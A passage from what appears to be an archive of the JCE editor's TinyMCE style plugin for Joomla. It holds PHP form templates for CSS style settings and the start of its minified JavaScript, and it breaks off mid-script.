          <label for="box_padding_right" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_RIGHT'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_padding_right" disabled="disabled" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_padding_right_measurement" disabled="disabled"></select>
              </div>
        </div>
        <div class="uk-grid uk-grid-small">
          <label for="box_padding_bottom" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BOTTOM'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_padding_bottom" disabled="disabled" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_padding_bottom_measurement" disabled="disabled"></select>
              </div>
        </div>
        <div class="uk-grid uk-grid-small">
          <label for="box_padding_left" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_LEFT'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_padding_left" disabled="disabled" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_padding_left_measurement" disabled="disabled"></select>
              </div>
        </div>

    </fieldset>
   </div>
   <div class="uk-width-5-10">
    <fieldset>
      <legend><?php echo WFText::_('WF_STYLES_MARGIN'); ?></legend>
        <div class="uk-form-row">
          <input type="checkbox" id="box_margin_same" checked="checked" onclick="StyleDialog.toggleSame(this,'box_margin');" />
          <label for="box_margin_same"><?php echo WFText::_('WF_STYLES_SAME'); ?></label>
        </div>
        <div class="uk-grid uk-grid-small">
          <label for="box_margin_top" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_TOP'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_margin_top" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_margin_top_measurement" ></select>
              </div>
        </div>
        <div class="uk-grid uk-grid-small">
          <label for="box_margin_right" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_RIGHT'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_margin_right" disabled="disabled" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_margin_right_measurement" disabled="disabled"></select>
              </div>
        </div>
        <div class="uk-grid uk-grid-small">
          <label for="box_margin_bottom" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BOTTOM'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_margin_bottom" disabled="disabled" />
                </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_margin_bottom_measurement" disabled="disabled"></select>
              </div>
        </div>
        <div class="uk-grid uk-grid-small">
          <label for="box_margin_left" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_LEFT'); ?></label>
              <div class="uk-form-controls uk-width-4-10">
                <input type="number" id="box_margin_left" disabled="disabled" />
              </div>
              <div class="uk-form-controls uk-width-4-10">
                <select id="box_margin_left_measurement" disabled="disabled"></select>
              </div>
        </div>
    </fieldset>
  </div>
</div>
editor/tiny_mce/plugins/style/tmpl/text.php000060400000010446150750527140015142 0ustar00<?php
/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<div class="uk-form-row">
  <label for="text_font" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_TEXT_FONT'); ?></label>
    <div class="uk-form-controls uk-width-8-10 uk-datalist"><input id="text_font" type="text" /><select id="text_font_list"></select></div>
</div>
<div class="uk-grid uk-grid-small">
    <label for="text_size" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_TEXT_SIZE'); ?></label>

      <div class="uk-form-controls uk-width-2-10 uk-datalist">
        <input id="text_size" type="text" /><select id="text_size_list"></select>
      </div>
      <div class="uk-form-controls uk-width-2-10">
        <select id="text_size_measurement"></select>
      </div>

    <div class="uk-width-4-10">
      <label for="text_weight" class="uk-form-label uk-width-3-10"><?php echo WFText::_('WF_STYLES_TEXT_WEIGHT'); ?></label>
           <div class="uk-form-controls uk-width-7-10"><select id="text_weight"></select></div>
  </div>
</div>
      <div class="uk-grid uk-grid-small">
        <label class="uk-form-label uk-width-2-10" for="text_style"><?php echo WFText::_('WF_STYLES_TEXT_STYLE'); ?></label>
            <div class="uk-form-controls uk-width-4-10 uk-datalist">
              <select id="text_style"></select>
            </div>
          <div class="uk-width-4-10">
            <label class="uk-form-label uk-width-3-10" for="text_variant"><?php echo WFText::_('WF_STYLES_TEXT_VARIANT'); ?></label>
              <div class="uk-form-controls uk-width-7-10">
                <select id="text_variant"></select>
              </div>
          </div>
      </div>
      <div class="uk-grid uk-grid-small">
        <label class="uk-form-label uk-width-2-10" for="text_lineheight"><?php echo WFText::_('WF_STYLES_TEXT_LINEHEIGHT'); ?></label>
            <div class="uk-form-row uk-width-2-10 uk-datalist">
                <select id="text_lineheight"></select>
            </div>
            <div class="uk-form-controls uk-width-2-10">
              <select id="text_lineheight_measurement" ></select>
            </div>
            <div class="uk-width-4-10">
              <label class="uk-form-label uk-width-3-10" for="text_case"><?php echo WFText::_('WF_STYLES_TEXT_CASE'); ?></label>
              <div class="uk-form-controls uk-width-7-10">
                <select id="text_case" ></select>
              </div>
            </div>
      </div>
      <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="text_color"><?php echo WFText::_('WF_STYLES_TEXT_COLOR'); ?></label>
            <div class="uk-form-controls uk-width-2-10">
              <input id="text_color" class="color" type="text" value="" />
            </div>
      </div>
      <div class="uk-form-row">
          <label class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_TEXT_DECORATION'); ?></label>
          <div class="uk-form-controls uk-width-8-10">
              <input id="text_underline" type="checkbox" />
              <label for="text_underline" class="uk-margin-right"><?php echo WFText::_('WF_STYLES_TEXT_UNDERLINE'); ?></label>

              <input id="text_overline" type="checkbox" />
              <label for="text_overline" class="uk-margin-right"><?php echo WFText::_('WF_STYLES_TEXT_OVERLINE'); ?></label>

              <input id="text_linethrough" type="checkbox" />
              <label for="text_linethrough" class="uk-margin-right"><?php echo WFText::_('WF_STYLES_TEXT_STRIKETROUGH'); ?></label>

              <input id="text_blink" type="checkbox" />
              <label for="text_blink" class="uk-margin-right"><?php echo WFText::_('WF_STYLES_TEXT_BLINK'); ?></label>

              <input id="text_none" type="checkbox" onclick="StyleDialog.updateTextDecorations();" />
              <label for="text_none"><?php echo WFText::_('WF_STYLES_TEXT_NONE'); ?></label>
          </div>
      </div>
editor/tiny_mce/plugins/style/tmpl/index.html000060400000000054150750527140015434 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/style/tmpl/positioning.php000060400000016606150750527140016524 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>

  <div class="uk-grid uk-grid-small">
    <label for="positioning_type" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_POSITIONING_TYPE'); ?></label>
    <div class="uk-form-controls uk-width-3-10 uk-datalist">
      <select id="positioning_type"></select>
    </div>
    <label for="positioning_visibility" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_VISIBILITY'); ?></label>
    <div class="uk-form-controls uk-width-3-10 uk-datalist">
      <select id="positioning_visibility"></select>
    </div>
  </div>

  <div class="uk-grid uk-grid-small">
    <label for="positioning_width" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_WIDTH'); ?></label>
        <div class="uk-form-controls uk-width-2-10">
          <input type="number" id="positioning_width" onchange="StyleDialog.synch('positioning_width','box_width');" />
        </div>
        <div class="uk-form-controls uk-width-2-10">
          <select id="positioning_width_measurement" ></select>
        </div>
        <label for="positioning_zindex" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_ZINDEX'); ?></label>
        <div class="uk-form-controls uk-width-2-10">
          <input type="number" id="positioning_zindex" />
        </div>
  </div>

  <div class="uk-grid uk-grid-small">
    <label for="positioning_height" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_HEIGHT'); ?></label>
        <div class="uk-form-controls uk-width-2-10">
          <input type="number" id="positioning_height" onchange="StyleDialog.synch('positioning_height','box_height');" />
        </div>
        <div class="uk-form-controls uk-width-2-10">
          <select id="positioning_height_measurement" ></select>
        </div>
        <label for="positioning_overflow" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_OVERFLOW'); ?></label>
        <div class="uk-form-controls uk-width-2-10 uk-datalist">
          <select id="positioning_overflow"></select>
        </div>
  </div>

<div class="uk-grid uk-grid-small">
<div class="uk-width-5-10">
  <fieldset>
    <legend><?php echo WFText::_('WF_STYLES_PLACEMENT'); ?></legend>


      <div class="uk-form-row">
        <input type="checkbox" id="positioning_placement_same" checked="checked" onclick="StyleDialog.toggleSame(this,'positioning_placement');" />
        <label for="positioning_placement_same"><?php echo WFText::_('WF_STYLES_SAME'); ?></label>
      </div>
      <div class="uk-grid uk-grid-small">
        <label for="positioning_placement_left" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_TOP'); ?></label>


            <div class="uk-form-controls uk-width-4-10">
              <input type="number" id="positioning_placement_top" />
            </div>
            <div class="uk-form-controls uk-width-4-10">
              <select id="positioning_placement_top_measurement" ></select>
            </div>


      </div>
      <div class="uk-grid uk-grid-small">
        <label for="positioning_placement_left" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_RIGHT'); ?></label>


            <div class="uk-form-controls uk-width-4-10">
              <input type="number" id="positioning_placement_right" disabled="disabled" />
            </div>
            <div class="uk-form-controls uk-width-4-10">
              <select id="positioning_placement_right_measurement" disabled="disabled"></select>
            </div>


      </div>
      <div class="uk-grid uk-grid-small">
        <label for="positioning_placement_left" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BOTTOM'); ?></label>


            <div class="uk-form-controls uk-width-4-10">
              <input type="number" id="positioning_placement_bottom" disabled="disabled" />
            </div>
            <div class="uk-form-controls uk-width-4-10">
              <select id="positioning_placement_bottom_measurement" disabled="disabled"></select>
            </div>


      </div>
      <div class="uk-grid uk-grid-small">
        <label for="positioning_placement_left" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_LEFT'); ?></label>


            <div class="uk-form-controls uk-width-4-10">
              <input type="number" id="positioning_placement_left" disabled="disabled" />
            </div>
            <div class="uk-form-controls uk-width-4-10">
              <select id="positioning_placement_left_measurement" disabled="disabled"></select>
            </div>


      </div>

  </fieldset>
</div>

<div class="uk-width-5-10">
  <fieldset>
    <legend><?php echo WFText::_('WF_STYLES_CLIP'); ?></legend>


      <div class="uk-form-row">
        <input type="checkbox" id="positioning_clip_same" checked="checked" onclick="StyleDialog.toggleSame(this,'positioning_clip');" />
        <label for="positioning_clip_same"><?php echo WFText::_('WF_STYLES_SAME'); ?></label>
      </div>
      <div class="uk-grid uk-grid-small">
        <label for="positioning_clip_top" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_TOP'); ?></label>


            <div class="uk-form-controls uk-width-4-10">
              <input type="number" id="positioning_clip_top" />
            </div>
            <div class="uk-form-controls uk-width-4-10">
              <select id="positioning_clip_top_measurement" ></select>
            </div>


      </div>
      <div class="uk-grid uk-grid-small">
        <label for="positioning_clip_right" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_RIGHT'); ?></label>


            <div class="uk-form-controls uk-width-4-10">
              <input type="number" id="positioning_clip_right" disabled="disabled" />
            </div>
            <div class="uk-form-controls uk-width-4-10">
              <select id="positioning_clip_right_measurement" disabled="disabled"></select>
            </div>


      </div>
      <div class="uk-grid uk-grid-small">
        <label for="positioning_clip_bottom" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BOTTOM'); ?></label>


            <div class="uk-form-controls uk-width-4-10">
              <input type="number" id="positioning_clip_bottom" disabled="disabled" />
            </div>
            <div class="uk-form-controls uk-width-4-10">
              <select id="positioning_clip_bottom_measurement" disabled="disabled"></select>
            </div>


      </div>
      <div class="uk-grid uk-grid-small">
        <label for="positioning_clip_left" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_LEFT'); ?></label>

            <div class="uk-form-controls uk-width-4-10">
              <input type="number" id="positioning_clip_left" disabled="disabled" />
            </div>
            <div class="uk-form-controls uk-width-4-10">
              <select id="positioning_clip_left_measurement" disabled="disabled"></select>
            </div>


      </div>

  </fieldset>
</div>
</div>
editor/tiny_mce/plugins/style/tmpl/list.php000060400000002511150750527140015123 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>

<div class="uk-form-row">
  <label class="uk-form-label uk-width-2-10" for="list_type"><?php echo WFText::_('WF_STYLES_LIST_TYPE'); ?></label>
  <div class="uk-form-controls uk-width-4-10 uk-datalist">
    <select id="list_type" name="list_type"></select>
  </div>
</div>
<div class="uk-form-row">
  <label class="uk-form-label uk-width-2-10" for="list_position"><?php echo WFText::_('WF_STYLES_POSITION'); ?></label>
  <div class="uk-form-controls uk-width-4-10 uk-datalist">
    <select id="list_position" name="list_position"></select>
  </div>
</div>
<div class="uk-form-row">
  <label class="uk-form-label uk-width-2-10" for="list_bullet_image"><?php echo WFText::_('WF_STYLES_BULLET_IMAGE'); ?></label>
  <div class="uk-form-controls uk-width-8-10">
    <input id="list_bullet_image" name="list_bullet_image" type="text" class="browser image" />
  </div>
</div>
editor/tiny_mce/plugins/style/tmpl/default.php000060400000002310150750527140015571 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

$tabs = WFTabs::getInstance();
?>
<form>
    <?php $tabs->render(); ?>
    <div class="mceActionPanel">
      <div class="uk-form-row uk-float-left">
          <input type="checkbox" id="toggle_insert_span" onclick="StyleDialog.toggleApplyAction();" />
          <label for="toggle_insert_span"><?php echo WFText::_('WF_STYLES_TOGGLE_INSERT_SPAN'); ?></label>
      </div>

        <button type="submit" id="insert"><?php echo WFText::_('WF_LABEL_UPDATE'); ?></button>
        <button type="button" id="apply"><?php echo WFText::_('WF_STYLES_APPLY'); ?></button>
        <button type="button" id="cancel"><?php echo WFText::_('WF_LABEL_CANCEL'); ?></button>
    </div>
</form>
<div style="display:none;">
    <div id="container"></div>
</div>editor/tiny_mce/plugins/style/tmpl/background.php000060400000005271150750527140016275 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
      <div class="uk-form-row">
        <label for="background_color" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BACKGROUND_COLOR'); ?></label>
            <div class="uk-form-controls uk-width-2-10">
              <input id="background_color" class="color" type="text" value="" />
            </div>
      </div>
      <div class="uk-form-row">
        <label for="background_image" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BACKGROUND_IMAGE'); ?></label>
          <div class="uk-form-controls uk-width-8-10">
            <input id="background_image" class="browser image" type="text" />
          </div>
      </div>

      <div class="uk-form-row">
        <label for="background_repeat" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BACKGROUND_REPEAT'); ?></label>
        <div class="uk-form-controls uk-width-4-10 uk-datalist">
          <select id="background_repeat"></select>
        </div>
      </div>

      <div class="uk-form-row">
        <label for="background_attachment" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BACKGROUND_ATTACHMENT'); ?></label>
        <div class="uk-form-controls uk-width-4-10 uk-datalist">
          <select id="background_attachment"></select>
        </div>
      </div>

      <div class="uk-form-row">
        <label for="background_hpos" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BACKGROUND_HPOS'); ?></label>

          <div class="uk-form-controls uk-width-4-10 uk-margin-right uk-datalist">
              <select id="background_hpos"></select>
          </div>
          <div class="uk-form-controls uk-width-2-10">
              <select id="background_hpos_measurement"></select>
          </div>
      </div>

      <div class="uk-form-row">
        <label for="background_vpos" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BACKGROUND_VPOS'); ?></label>

          <div class="uk-form-controls uk-width-4-10 uk-margin-right uk-datalist">
              <select id="background_vpos"></select>
            </div>
          <div class="uk-form-controls uk-width-2-10">
              <select id="background_vpos_measurement"></select>
          </div>
      </div>
editor/tiny_mce/plugins/style/tmpl/block.php000060400000006244150750527140015251 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
      <div class="uk-grid uk-grid-small">
        <label for="block_wordspacing" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BLOCK_WORDSPACING'); ?></label>
            <div class="uk-form-controls uk-width-5-10 uk-datalist">
              <select id="block_wordspacing"></select>
            </div>
            <div class="uk-form-controls uk-width-3-10">
              <select id="block_wordspacing_measurement" ></select>
            </div>
      </div>

      <div class="uk-grid uk-grid-small">
        <label for="block_letterspacing" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BLOCK_LETTERSPACING'); ?></label>
            <div class="uk-form-controls uk-width-5-10 uk-datalist">
              <select id="block_letterspacing"></select>
            </div>
            <div class="uk-form-controls uk-width-3-10">
              <select id="block_letterspacing_measurement"></select>
            </div>
      </div>

      <div class="uk-grid uk-grid-small">
        <label for="block_vertical_alignment" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BLOCK_VERTICAL_ALIGNMENT'); ?></label>
        <div class="uk-form-controls uk-width-5-10 uk-datalist">
          <select id="block_vertical_alignment"></select>
        </div>
      </div>

      <div class="uk-grid uk-grid-small">
        <label for="block_text_align" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BLOCK_TEXT_ALIGN'); ?></label>
        <div class="uk-form-controls uk-width-5-10 uk-datalist">
          <select id="block_text_align"></select>
        </div>
      </div>

      <div class="uk-grid uk-grid-small">
        <label for="block_text_indent" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BLOCK_TEXT_INDENT'); ?></label>
            <div class="uk-form-controls uk-width-2-10">
              <input type="number" id="block_text_indent" />
            </div>
            <div class="uk-form-controls uk-width-2-10">
              <select id="block_text_indent_measurement"></select>
            </div>
      </div>

      <div class="uk-grid uk-grid-small">
        <label for="block_whitespace" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BLOCK_WHITESPACE'); ?></label>
        <div class="uk-form-controls uk-width-5-10 uk-datalist">
          <select id="block_whitespace"></select>
        </div>
      </div>

      <div class="uk-grid uk-grid-small">
        <label for="block_display" class="uk-form-label uk-width-2-10"><?php echo WFText::_('WF_STYLES_BLOCK_DISPLAY'); ?></label>
        <div class="uk-form-controls uk-width-5-10 uk-datalist">
          <select id="block_display"></select>
        </div>
      </div>
editor/tiny_mce/plugins/style/js/index.html000060400000000054150750527140015074 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/style/js/style.js000060400000067375150750527140014620 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(tinymce,tinyMCEPopup,$){function selectByValue(field_name,value,add_custom,ignore_case){value||(value="");var sel=document.getElementById(field_name);if(sel){for(var found=!1,i=0;i<sel.options.length;i++){var option=sel.options[i];option.value==value||ignore_case&&option.value.toLowerCase()==value.toLowerCase()?(option.selected=!0,found=!0):option.selected=!1}if(!found&&add_custom&&""!=value){var option=new Option(value,value);option.selected=!0,sel.options[sel.options.length]=option,sel.selectedIndex=sel.options.length-1}return found}}function addSelectValue(field_name,name,value){var s=document.getElementById(field_name),o=new Option(name,value);s.options[s.options.length]=o}function getColor(n){var v=$(n).val();return v.indexOf("#")!==-1?v:"#"+v}var StyleDialog={settings:{},defaults:{Fonts:"Arial, Helvetica, sans-serif=Arial, Helvetica, sans-serif;Times New Roman, Times, serif=Times New Roman, Times, serif;Courier New, Courier, mono=Courier New, Courier, mono;Times New Roman, Times, serif=Times New Roman, Times, serif;Georgia, Times New Roman, Times, serif=Georgia, Times New Roman, Times, serif;Verdana, Arial, Helvetica, sans-serif=Verdana, Arial, Helvetica, sans-serif;Geneva, Arial, Helvetica, sans-serif=Geneva, Arial, Helvetica, sans-serif",Sizes:"9;10;12;14;16;18;24;xx-small;x-small;small;medium;large;x-large;xx-large;smaller;larger",Measurement:"+pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%",SpacingMeasurement:"pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;+ems=em;exs=ex;%",IndentMeasurement:"pixels=px;+points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%",Weight:"normal;bold;bolder;lighter;100;200;300;400;500;600;700;800;900",TextStyle:"normal;italic;oblique",Variant:"normal;small-caps",LineHeight:"normal",Attachment:"fixed;scroll",Repeat:"no-repeat;repeat;repeat-x;repeat-y",PosH:"left;center;right",PosV:"top;center;bottom",VAlign:"baseline;sub;super;top;text-top;middle;bottom;text-bottom",Display:"inline;block;list-item;run-in;compact;marker;table;inline-table;table-row-group;table-header-group;table-footer-group;table-row;table-column-group;table-column;table-cell;table-caption;none",BorderStyle:"none;solid;dashed;dotted;double;groove;ridge;inset;outset",BorderWidth:"thin;medium;thick",ListType:"disc;circle;square;decimal;lower-roman;upper-roman;lower-alpha;upper-alpha;none"},aggregateStyles:function(allStyles){var mergedStyles={};return tinymce.each(allStyles,function(style){if(""!==style){var parsedStyles=tinyMCEPopup.editor.dom.parseStyle(style);for(var name in parsedStyles)parsedStyles.hasOwnProperty(name)&&(void 0===mergedStyles[name]?mergedStyles[name]=parsedStyles[name]:"text-decoration"===name&&mergedStyles[name].indexOf(parsedStyles[name])===-1&&(mergedStyles[name]=mergedStyles[name]+" "+parsedStyles[name]))}}),mergedStyles},init:function(){var self=this,ed=tinyMCEPopup.editor,ce=document.getElementById("container");this.settings.file_browser||$(".browser").removeClass("browser"),this.existingStyles=this.aggregateStyles(tinyMCEPopup.getWindowArg("styles")),ce.style.cssText=ed.dom.serializeStyle(this.existingStyles),this.applyActionIsInsert=ed.getParam("edit_css_style_insert_span",!1),$("#insert").click(function(e){e.preventDefault(),self.updateAction()}),$("#apply").click(function(e){e.preventDefault(),self.applyAction()}),$("#toggle_insert_span").prop("checked",this.applyActionIsInsert),this.fillSelect("text_font_list","style_font",ed.getParam("theme_advanced_fonts",this.defaults.Fonts),";",!0),this.fillSelect("text_size_list","style_font_size",this.defaults.Sizes,";",!0),this.fillSelect("text_size_measurement","style_font_size_measurement",this.defaults.Measurement,";",!0),this.fillSelect("text_case","style_text_case","capitalize;uppercase;lowercase",";",!0),this.fillSelect("text_weight","style_font_weight",this.defaults.Weight,";",!0),this.fillSelect("text_style","style_font_style",this.defaults.TextStyle,";",!0),this.fillSelect("text_variant","style_font_variant",this.defaults.Variant,";",!0),this.fillSelect("text_lineheight","style_font_line_height",this.defaults.LineHeight,";",!0),this.fillSelect("text_lineheight_measurement","style_font_line_height_measurement",this.defaults.Measurement,";",!0),this.fillSelect("background_attachment","style_background_attachment",this.defaults.Attachment,";",!0),this.fillSelect("background_repeat","style_background_repeat",this.defaults.Repeat,";",!0),this.fillSelect("background_hpos_measurement","style_background_hpos_measurement",this.defaults.Measurement,";",!0),this.fillSelect("background_vpos_measurement","style_background_vpos_measurement",this.defaults.Measurement,";",!0),this.fillSelect("background_hpos","style_background_hpos",this.defaults.PosH,";",!0),this.fillSelect("background_vpos","style_background_vpos",this.defaults.PosV,";",!0),this.fillSelect("block_wordspacing","style_wordspacing","normal",";",!0),this.fillSelect("block_wordspacing_measurement","style_wordspacing_measurement",this.defaults.SpacingMeasurement,";",!0),this.fillSelect("block_letterspacing","style_letterspacing","normal",";",!0),this.fillSelect("block_letterspacing_measurement","style_letterspacing_measurement",this.defaults.SpacingMeasurement,";",!0),this.fillSelect("block_vertical_alignment","style_vertical_alignment",this.defaults.VAlign,";",!0),this.fillSelect("block_text_align","style_text_align","left;right;center;justify",";",!0),this.fillSelect("block_whitespace","style_whitespace","normal;pre;pre-wrap;pre-line;nowrap",";",!0),this.fillSelect("block_display","style_display",this.defaults.Display,";",!0),this.fillSelect("block_text_indent_measurement","style_text_indent_measurement",this.defaults.IndentMeasurement,";",!0),this.fillSelect("box_width_measurement","style_box_width_measurement",this.defaults.Measurement,";",!0),this.fillSelect("box_height_measurement","style_box_height_measurement",this.defaults.Measurement,";",!0),this.fillSelect("box_float","style_float","left;right;none",";",!0),this.fillSelect("box_clear","style_clear","left;right;both;none",";",!0),this.fillSelect("box_padding_left_measurement","style_padding_left_measurement",this.defaults.Measurement,";",!0),this.fillSelect("box_padding_top_measurement","style_padding_top_measurement",this.defaults.Measurement,";",!0),this.fillSelect("box_padding_bottom_measurement","style_padding_bottom_measurement",this.defaults.Measurement,";",!0),this.fillSelect("box_padding_right_measurement","style_padding_right_measurement",this.defaults.Measurement,";",!0),this.fillSelect("box_margin_left_measurement","style_margin_left_measurement",this.defaults.Measurement,";",!0),this.fillSelect("box_margin_top_measurement","style_margin_top_measurement",this.defaults.Measurement,";",!0),this.fillSelect("box_margin_bottom_measurement","style_margin_bottom_measurement",this.defaults.Measurement,";",!0),this.fillSelect("box_margin_right_measurement","style_margin_right_measurement",this.defaults.Measurement,";",!0),this.fillSelect("border_style_top","style_border_style_top",this.defaults.BorderStyle,";",!0),this.fillSelect("border_style_right","style_border_style_right",this.defaults.BorderStyle,";",!0),this.fillSelect("border_style_bottom","style_border_style_bottom",this.defaults.BorderStyle,";",!0),this.fillSelect("border_style_left","style_border_style_left",this.defaults.BorderStyle,";",!0),this.fillSelect("border_width_top","style_border_width_top",this.defaults.BorderWidth,";",!0),this.fillSelect("border_width_right","style_border_width_right",this.defaults.BorderWidth,";",!0),this.fillSelect("border_width_bottom","style_border_width_bottom",this.defaults.BorderWidth,";",!0),this.fillSelect("border_width_left","style_border_width_left",this.defaults.BorderWidth,";",!0),this.fillSelect("border_width_top_measurement","style_border_width_top_measurement",this.defaults.Measurement,";",!0),this.fillSelect("border_width_right_measurement","style_border_width_right_measurement",this.defaults.Measurement,";",!0),this.fillSelect("border_width_bottom_measurement","style_border_width_bottom_measurement",this.defaults.Measurement,";",!0),this.fillSelect("border_width_left_measurement","style_border_width_left_measurement",this.defaults.Measurement,";",!0),this.fillSelect("list_type","style_list_type",this.defaults.ListType,";",!0),this.fillSelect("list_position","style_list_position","inside;outside",";",!0),this.fillSelect("positioning_type","style_positioning_type","absolute;relative;static",";",!0),this.fillSelect("positioning_visibility","style_positioning_visibility","inherit;visible;hidden",";",!0),this.fillSelect("positioning_width_measurement","style_positioning_width_measurement",this.defaults.Measurement,";",!0),this.fillSelect("positioning_height_measurement","style_positioning_height_measurement",this.defaults.Measurement,";",!0),this.fillSelect("positioning_overflow","style_positioning_overflow","visible;hidden;scroll;auto",";",!0),this.fillSelect("positioning_placement_top_measurement","style_positioning_placement_top_measurement",this.defaults.Measurement,";",!0),this.fillSelect("positioning_placement_right_measurement","style_positioning_placement_right_measurement",this.defaults.Measurement,";",!0),this.fillSelect("positioning_placement_bottom_measurement","style_positioning_placement_bottom_measurement",this.defaults.Measurement,";",!0),this.fillSelect("positioning_placement_left_measurement","style_positioning_placement_left_measurement",this.defaults.Measurement,";",!0),this.fillSelect("positioning_clip_top_measurement","style_positioning_clip_top_measurement",this.defaults.Measurement,";",!0),this.fillSelect("positioning_clip_right_measurement","style_positioning_clip_right_measurement",this.defaults.Measurement,";",!0),this.fillSelect("positioning_clip_bottom_measurement","style_positioning_clip_bottom_measurement",this.defaults.Measurement,";",!0),this.fillSelect("positioning_clip_left_measurement","style_positioning_clip_left_measurement",this.defaults.Measurement,";",!0),this.setupFormData(),this.showDisabledControls(),Wf.init()},setupFormData:function(){var 